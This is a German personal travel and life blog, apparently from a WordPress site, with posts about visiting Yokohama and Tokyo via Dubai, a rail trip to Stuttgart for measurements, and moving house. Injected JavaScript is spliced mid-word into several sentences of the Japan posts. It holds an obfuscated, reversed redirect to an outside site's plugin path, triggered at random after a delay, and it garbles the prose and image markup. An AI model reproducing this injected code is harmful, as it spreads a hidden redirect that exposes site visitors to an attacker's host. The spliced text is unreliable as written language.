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Tokyo – space invader – LKW

So, am Montag sind Sascha und Christian heile in Yokohama angekommen. Wir haben direkt die Zeit genutzt, um (für mich ein zweites Mal) Yokohama per Fuß zu erkunden.

Am Tag darauf jedoch kam das Highlight – Tokyo. Wow, was für eine Stadt. Absolut groß, absolut bunt und völlig entspannt. Das dort mehrere Millionen Menschen täglich rein- und rausfahren ist ja schon logistisch eine Meisterleitung, aber dass das so gesittet abgeht ist einfach unglaublich. Da es in Japan ja recht schwer ist, die Schriftzeichen zu lesen, helfen Eselsbrücken. Eine dieser Eselsbrücke findet sich im Titel des Artikels wieder. space invader – LKW beschreibt das Aussehen der Zeichen, die für Ausgang stehen (siehe Bild links oben).

Aber nun mal der Reihe nach. Zuerst sind wir nach Akihabara gefahren. Dort kann man alles erwerben, das irgendwie nach Elektronik riecht, ein Einkaufsparadies für Elektrofreaks. Hier mal ein paar Fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos:

Als wir die Straßen entlangschlenderten, fanden wir einen Ort der Ruhe. Mitten im pulsierenden Akihabara fanden wir einen Schrein. Leider war dieser geschlossen, so dass wir ihn uns nicht von innen anschauen konnten. Von außen sah er aber toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toll aus, wie Ihr sehen könnt.

Danach ging es dann weiter in die Skyscraper City, wo die Hohhäuser Japans stehen. Dort befindet sich auch das Goverments Building,  wo man kostenlos im Observatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory in der 45. Etage einen Rundumblick über Tokyo erhält.

In Shibuya haben wir fantastisch Sushi gegessen und danach im Starbucks die Menschenmassen angeschaut, die Minute für Minute über die weltberühmte Kreuzung laufen. Achja, im Video ist ein Gruß versteckt!!!

Mit vollem Magen und ordentlich viel Sightseeing ging es dann in das Tokyo’er Nachtleben. Irgendwo musste ich ja anfangen, mich so langsam auf meinen Geburtstag einzustimmen. Eigentlich wollten wir ins Hofbräuhaus. Leider mussten wir nach ca. 1,5 Stunden Suche feststellen, das dieses zugemacht hat. Naja egal, dann sind wir halt zu den Engländern in den British Pub gegangen und haben den Abend bei 1,2 Bier ausklingen lassen. Ihr könnt ja mal auf den Bildern schaun.

Yokohama-Erkundung zu Fuß

Während des Flugs habe ich Shila, Christian und Timo kennen gelernt, die wie ich, das Ziel Yokohama hatten. Zur Verwunderung stellte sich heraus, das die 3 das selbe Hotel gebucht haben. So hatten wir also beschlossen, den folgenden Tag damit zu verbringen, Yokohama zu Fuß zu erkunden.

Dazu ging es zunächst durch die vielen Malls, die sich in unmittelbarer Nähe befinden. Danach statteten wir China-Town einen Besuch ab. Zuletzt ging es in diverse Parks aus denen man einen wunderbaren Blick über die Yokohamer Bucht hat. Auf dem linken Bild sieht man ein Teil der Büros der Kanagawa-Präfektur.

Später am Abend gesellten sich noch zwei weitere Reisende, Mikka und Jürgen, hinzu. Zunächst ging es zur Stärkung in ein Restaurant und danach auf zwei Bier in einen japanischen Biergarten.

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth’=ferh.noitacol.tnemucod“];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor nach China Town (aus China Town fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tografiert)“ src=“http://www.socrates4.com/Sascha/wp-content/uploads/2010/09/SDC10722-300×225.jpg“ alt=““ width=“270″ height=“203″ />

Auf diesen beiden Bildern sieht man eines der Eingangstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore zu Chinatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}town und eine (ungewöhnlich) leere Straße darin.

Hier ein Bild des Guan Di Maio (Kan-Tei-Byo) Schreins, geweiht der chinesischen Hauptgottheit Guan Sheng  Di Jung. Auf dem anderen Schnappschuss kann man die Brücke in der Bucht von Yokohama sehen.

Düsseldorf – Dubai – Yokohama

Geschafft. Gestern bin ich um ca. 22.00 Uhr im Hotel in Yokohama angekommen. Die Reise war lang, hat sich aber auf jeden Fall gelohnt. Zunächst möchte ich kurz über die Etappe über Dubai berichten. Wir sind in Düsseldorf um 15.25 gestartet und in Dubai nachts um 23.55 gelandet. Dort herrschten milde Temperaturen von ca. 38°C, also muckelig warm.
Da wir mit dem Flugzeug auf den hintersten Parkplatz abgestellt wurden, dauerte es ca. 30 Minuten von Landung, bis wir den Terminal, eine riesige klimatisierte Halle mitten in der Wüste, erreicht hatten. Eine Shopping Mall im Ausmaß vom Centro-Oberhausen sollte uns die Zeit und das Geld vertreiben.
Nach 1 1/2 Stunden Wartezeit ging es dann weiter mit dem Check-In für den Transit-Flug nach Japan weiter. Dies war dann der längste Teil der Reise. Nach 10 Stunden hatten wir dann das Ziel Narita Airport in Japan erreicht.
Dort ging alles sehr gut organisiert und diszipliniert ab, so dass ich meinen Koffer direkt nach der Zollkontrolle erhalten habe. Das ewige Warten am Kofferband blieb mir damit erspart. Auch die direkte Busverbindung vom Terminal nach Yokohama funktionierte einwandfrei. Danke für die gute Recherche, Christian. Besser ging es kaum.

Auf den Bildern ist der Fuji beim Anflug auf Narita zu sehen. Auf dem zweiten Bild kann man mein Hotel sehen. Es ist das Gebäude direkt vor dem Land Mark Tower (das größte Gebaude auf dem Bild).

Abflug

Hallo alle miteinander,

ja, ich habe es geschafft, die Koffer sind endlich gepackt. Morgen (es ist 23:08) geht es über Dubai nach Japan. Ich freue mich schon riesig, in eine Welt einzutauchen, wie sie nur ein Kind erleben kann. Ich werde also nichts lesen können aber das Mc-Donalds Zeichen glücklicherweise wiedererkennen.

Ich werde mich die nächsten Tage immer wieder melden und aktuelle Erfahrungsberichte / Bilder online stellen. Ich hoffe ihr besucht diese Seite ab- und zu einmal. Kommentare, Fragen und so weiter sind natürlich herzlich Willkommen.

Bis bald
Sascha

Stuttgart 3…2…1

Hallo Freunde,

heute bin ich nach Stuttgart gereist, um einige Messungen für mein Projekt durchzuführen. Es ist die erste Reise, die ich alleine mit der Bahn gemacht habe. Allein die Reise war ein Abenteuer für sich. Angefangen hat alles ganz harmlos. Ich habe es geschafft, pünktlich meinen Bus zu erreichen. Dieser war dann ca. 5 Minuten vor Ankunft meines Anschlusszugs am Bahnhof.
Leider hatte der Zug sage und schreibe 45 Minuten Verspätung, so dass ich meinen ICE am Gleis vorbei fahren sehen durfte. In Japan wäre so etwas ein Kündigungsgrund gewesen. Nun gut, irgendwie musste ich dann weiter nach Stuttgart fahren. Nachdem ich in meinem Heimatbahnhof nach einer Bestätigung über die Verspätung des Regionalexpress erhalten habe, bin ich weiter nach Wuppertal, um den nächsten Anschluss zu erreichen. Dieser ist dann auch nur mit ca. 10 Minuten Verspätung eingetroffen. Froh darüber, dass dieser Zug direkt nach Stuttgart durchfährt, habe ich mich auf die Suche nach einem nicht reservierten Platz gemacht, da ja meine Reservierung ja jetzt verfallen war.
Glücklich, einen Platz gefunden zu haben, ließ ich mich auch dem Sitz nieder und begann mit dem Versuch, eine Verbindung über UMTS ins Internet zu bekommen. Leider entpuppte sich der Versuch als absolut hoffnungslos. Immer wieder brach die Verbindung zwischen meinem Rechner und dem UMTS-Netz ab. Kurz nachdem ich mich gesetzt habe, sage die nette Zugbegleiterin, dass dieser Zug aufgrund eines Defekts ausgetauscht werden muss. Sprich, in Köln mussten alle Passagiere umsteigen. Im neuen Zug habe ich dann wieder versucht eine Verbindung über UMTS aufzubauen, leider ohne Erfolg. In Frankfurt habe ich dann den letzten Versuch unternommen, eine Verbindung zu erhalten und gerade just in diesem Moment stürzt der (eigentlich unter Windows 7 sehr stabile) Rechner das erste mal in seinem Installationsleben ab.
Ok, in Stuttgart angekommen, konnte ich mich auf den ÖNV vertrauen. Diesmal ging alles reibungslos, so dass ich die Universität Stuttgart mit einer Verspätung von knapp einer Stunde erreicht habe. Mist, das kann ich der Bahn also nicht in Rechnung stellen.
Im Institut angekommen, hat mich Herr Hasler sehr freundlich aufgenommen und hat mich in das System eingewiesen. Glücklicherweise gab es damit keine größere Schwierigkeiten. Für die folgenden Messungen am Vibrometer habe ich dann bis ca. 20.00 Uhr gebraucht. Ich hoffe, dass ich morgen doch einiges schaffen werden, insbesondere ist dann Herr Waber zur Verfügung, der sich hervorragend mit dem System auskennen soll.
Ich freue mich also morgen auf einen Tag, der völlig Bahn-frei ist und hoffe, mit meinem Projekt voran zu kommen.

Bis dahin wünsche ich allen eine geruhsame Nacht, bis morgen
Sascha

Chaos in 2 Akten Teil 2

Nach nun mehr 4 Tagen in der neuen Wohnung sehen wir endlich wieder Licht. Das liegt aber nur daran, dass wir die Kisten vor dem Fenster beiseite geschoben haben. Es herrscht noch immer das Chaos. Jedoch lichtet sich so langsam der Dschungel aus Kisten und Krimskrams, der überall herum steht.
Also, ich kann niemanden verstehen, der das öfter als alle 5 Jahre mit macht. Natürlich möchte ich mich noch einmal bei allen Helfern bedanken. Insbesondere Martin, der fast den gesamten Anstrich geleistet hat und Uli, der unermüdlich mein Gejammer ertragen muß und mir trotzdem noch weiter hilft.
Achja, ein gut gemeinter Rat am Rande, sollten Elektriker im Hause sein, so seit auf alles gefasst! Hier haben z.B. zwei Herren dieser Gattung es geschafft, eine funktionierende TV-Anlage kaputt zu reparieren, so dass ich am Abend noch einmal selbst Hand anlegen musste.
Aber was macht man nicht alles, um eine beruhigte Freundin neben sich sitzen zu haben.

In diesem Sinne,
Bis bald

Chaos in 2 Akten

Am Freitag war es endlich so weit. Wir sind wie geplant umgezogen. Auch das geplante Chaos danach hat sich mittlerweile eingestellt. Zimmer und Flur der neuen Wohnung sind dermaßen mit Kisten, etc. zugestellt, dass es gefühlte 8 Monate dauern wird, bis wir uns wieder ordentlich eingerichtet haben. Der erste Akt wurde Freitag Mittag eingeläutet. Da aber nur bis zum Einbruch der Dunkelheit gearbeitet werden konnten, musste der Samstag auch noch herhalten.
An dieser Stelle möchten wir unseren Helfern ein großes Dankeschön aussprechen. Ohne sie wären wir vermutlich immer noch nicht aus der alten Wohnung raus.

Hallo Welt!

Hallo Gäste, liebe Freunde und alle anderen Web-Bummler. Herzlich willkommen zu meinem ersten Blog-Eintrag. Ich hoffe, dass noch zahlreiche Einträge folgen werden. Insbesondere möchte ich diesen Blog nutzen, um von meinen Aktivitäten und Reisen zu berichten und somit mit  Euch zu teilen. In diesem Sinne wünsche ich viel Spaß beim Lesen und stöbern.